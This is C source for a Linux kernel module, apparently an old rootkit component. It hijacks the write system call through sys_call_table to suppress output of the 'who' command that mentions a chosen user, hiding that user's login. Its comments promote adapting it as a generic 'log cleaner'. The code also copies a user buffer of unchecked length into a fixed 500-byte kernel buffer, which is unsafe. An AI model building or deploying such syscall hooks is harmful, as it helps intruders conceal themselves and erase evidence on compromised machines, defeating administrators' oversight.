//                      who filter
//                         v1.0a (25 Jul)
//                              by bugghy (bugghy@rootshell.be)

// gcc -isystem /lib/modules/`uname -r`/build/include -O2 -DMODULE -D__KERNEL__ -c who_filter.c
// insmod who_filter.o

// Replacing write is simple :) but you should try writev

// Uses:
//	1. utmp filterring (why would anyone need to check if root is on)
//	2. actually it's a generic write syscall filter:
//		strace program
//		if it uses write() => #define FILTER "program" && #define USER="somestring"
//		now you've got a generic "log cleaner" (ps: syslogd uses writev)

#if CONFIG_MODVERSIONS==1 // was it defined in kernel ?
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <sys/syscall.h> // sys_call_table
#include <linux/mm.h> // current->comm
#include <asm/uaccess.h> // copy_??_user

#define USER "bugghy"
#define FILTER "who" // "w" is not filterred (try to compare the output)

extern void *sys_call_table[];

ssize_t (*o_write)(int, const void *, size_t);

ssize_t h_write(int fd, const void *buf, size_t count)
{
	unsigned int ret;
	char *tmp;
	char user[]=USER;

	if(!strcmp(FILTER, current->comm)) // command is $FILTER
	{
//		printk("<1>Command: %s\n", current->comm);
		tmp=(char *) kmalloc(500, GFP_KERNEL);
		memset(tmp, 0, 500); 
		copy_from_user(tmp, buf, strlen(buf)-1);

		if(strstr(tmp, user) != NULL) // user is $USER
		{
//			printk("Buffer: %s\n", tmp);
			kfree(tmp);
			return count;
		}

		kfree(tmp);
	}
	ret = o_write(fd, buf, count);
	return ret;
}

int init_module(void)
{
	o_write = sys_call_table[SYS_write];
	sys_call_table[SYS_write] = h_write;
	return 0;
}

void cleanup_module(void)
{
	sys_call_table[SYS_write] = o_write;
}
